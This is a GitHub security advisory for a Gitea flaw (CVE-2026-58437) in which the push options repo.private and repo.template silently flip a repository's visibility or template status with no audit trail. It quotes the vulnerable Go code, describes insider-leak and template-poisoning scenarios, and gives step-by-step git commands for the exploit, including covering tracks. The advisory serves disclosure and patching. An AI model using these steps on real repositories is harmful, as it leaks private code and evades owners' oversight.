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Gitea: Repository Visibility Manipulation via Git Push Options

High severity GitHub Reviewed Published Jul 13, 2026 in go-gitea/gitea

Package

gomod code.gitea.io/gitea (Go)

Affected versions

< 1.27.0

Patched versions

1.27.0

Description

Repository Visibility Manipulation via Git Push Options

Field Value
Affected File routers/private/hook_post_receive.go
Affected Function HookPostReceive()
Affected Lines 173–225
Prerequisite Attacker must have owner-level or admin collaborator access to the target repository

Description

Gitea's post-receive git hook handler processes git push options — key-value pairs transmitted by a client during git push using the -o flag. Two undocumented push options, repo.private and repo.template, allow any user with repository owner or admin-collaborator access to toggle the visibility (private/public) and template status of a repository as a side effect of a normal git push.

This capability was originally intended solely for the "push-to-create" feature (automatically creating a repo on first push). However, the options are processed without restriction on already-existing repositories, and — critically — the visibility change bypasses every control that a proper settings change would trigger:

  • No entry written to the repository's audit/activity log
  • No webhook event fired (repository event with visibility_changed action)
  • No org-level notification to owners
  • No team permission re-calculation
  • No email alert to watchers
  • The database update uses UpdateRepositoryColsNoAutoTime, which also suppresses the updated_at timestamp change

Vulnerable Code

routers/private/hook_post_receive.go:173–225

isPrivate  := opts.GitPushOptions.Bool(private.GitPushOptionRepoPrivate)  // "repo.private"
isTemplate := opts.GitPushOptions.Bool(private.GitPushOptionRepoTemplate) // "repo.template"

if isPrivate.Has() || isTemplate.Has() {
    // ... loads repo and verifies pusher is owner or admin ...
    if !perm.IsOwner() && !perm.IsAdmin() {
        ctx.JSON(http.StatusNotFound, ...)
        return
    }

    // FIXME: these options are not quite right, for example: changing visibility
    //        should do more works than just setting the is_private flag
    // These options should only be used for "push-to-create"
    if isPrivate.Has() && repo.IsPrivate != isPrivate.Value() {
        // TODO: it needs to do more work
        repo.IsPrivate = isPrivate.Value()
        repo_model.UpdateRepositoryColsNoAutoTime(ctx, repo, "is_private")
        //         ^^^ bypasses updated_at timestamp, audit trail suppressed
    }
    if isTemplate.Has() && repo.IsTemplate != isTemplate.Value() {
        repo.IsTemplate = isTemplate.Value()
        repo_model.UpdateRepositoryColsNoAutoTime(ctx, repo, "is_template")
    }
}

The push option constants are defined in modules/private/pushoptions.go:18–19:

GitPushOptionRepoPrivate  = "repo.private"
GitPushOptionRepoTemplate = "repo.template"

Attack Scenario

Scenario A — Insider threat / rogue admin collaborator

An organization grants a contractor repo admin access to contribute to a private repository containing proprietary source code. The contractor, before their access is revoked, makes a private repo public for several minutes — long enough to clone, archive, or index the content — then makes it private again. The action leaves no audit trail distinguishable from a normal git push.

Scenario B — Supply-chain template poisoning

A repository marked as a template is used by CI/CD pipelines to generate new project repositories. An admin collaborator uses repo.template=false to silently remove the template designation, then makes changes to the repo's content, re-marks it as a template with repo.template=true, and waits for downstream consumers to regenerate projects from the now-backdoored template. The updated_at timestamp is unchanged due to UpdateRepositoryColsNoAutoTime, making diff-detection harder.


Step-by-Step Reproduction

Prerequisites:

  • A Gitea user account with either owner or admin-collaborator access to a private repository
  • git client with push access to the repository

Step 1 — Confirm the target repository is private


Step 2 — Clone the repository

git clone http://USER:PASSWORD@<gitea-host>/OWNER/REPO.git /tmp/target-repo
cd /tmp/target-repo

Step 3 — Make any commit (the push option rides on a real push)

echo "$(date)" >> .gitkeep
git add .gitkeep
git commit -m "routine update"

Step 4 — Execute the exploit push

# Make the repository public
git push http://USER:PASSWORD@<gitea-host>/OWNER/REPO.git main \
  -o repo.private=false

# The push completes with a normal success message:
#   remote: Processed 1 references in total
#   To http://<gitea-host>/OWNER/REPO.git
#      abc1234..def5678  main -> main

Step 5 — Verify the repository is now public


Step 6 — Restore and cover tracks

Re-make it private in the same session, leaving no visible audit trail

The repository activity feed shows only two normal push events. The visibility change is invisible.

Verification: confirm no activity log entry


Impact Details

Impact Description
Data exfiltration Private source code, CI/CD secrets in plain-text files, environment configs become publicly cloneable for the window the repo is public
No audit trail UpdateRepositoryColsNoAutoTime suppresses the updated_at change; no activity log entry; no webhook; no notification
Supply chain Combined with repo.template=true/false, an attacker can silently rotate repository template status, affecting all downstream repositories that generate from this template
Scope Affects all repos where the attacker has admin-collaborator access — not only repos they own

Recommended Fix

Option 1 (preferred) — Remove the options from post-receive hook entirely. The repo.private and repo.template push options were designed for the push-to-create flow and have no legitimate use on existing repositories. They should be gated with:

// routers/private/hook_post_receive.go
if isPrivate.Has() || isTemplate.Has() {
    if !wasEmpty {
        // repo already existed — refuse these options on established repos
        log.Warn("Repo push options repo.private/repo.template ignored for existing repo %s", repoName)
        // do not process
    } else {
        // original push-to-create path only
        ...
    }
}

Option 2 — Route through the full visibility-change service so that audit events, webhooks, and team re-syncs are triggered:

// Instead of the raw UpdateRepositoryColsNoAutoTime call:
if err := repo_service.UpdateRepositoryVisibility(ctx, repo, isPrivate.Value()); err != nil {
    ...
}

Where UpdateRepositoryVisibility fires the repository webhook event and writes an activity log entry.

References

@bircni bircni published to go-gitea/gitea Jul 13, 2026
Published to the GitHub Advisory Database Jul 21, 2026
Reviewed Jul 21, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(11th percentile)

Weaknesses

Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Learn more on MITRE.

CVE ID

CVE-2026-58437

GHSA ID

GHSA-8p9h-49rc-qgxj

Source code

Credits

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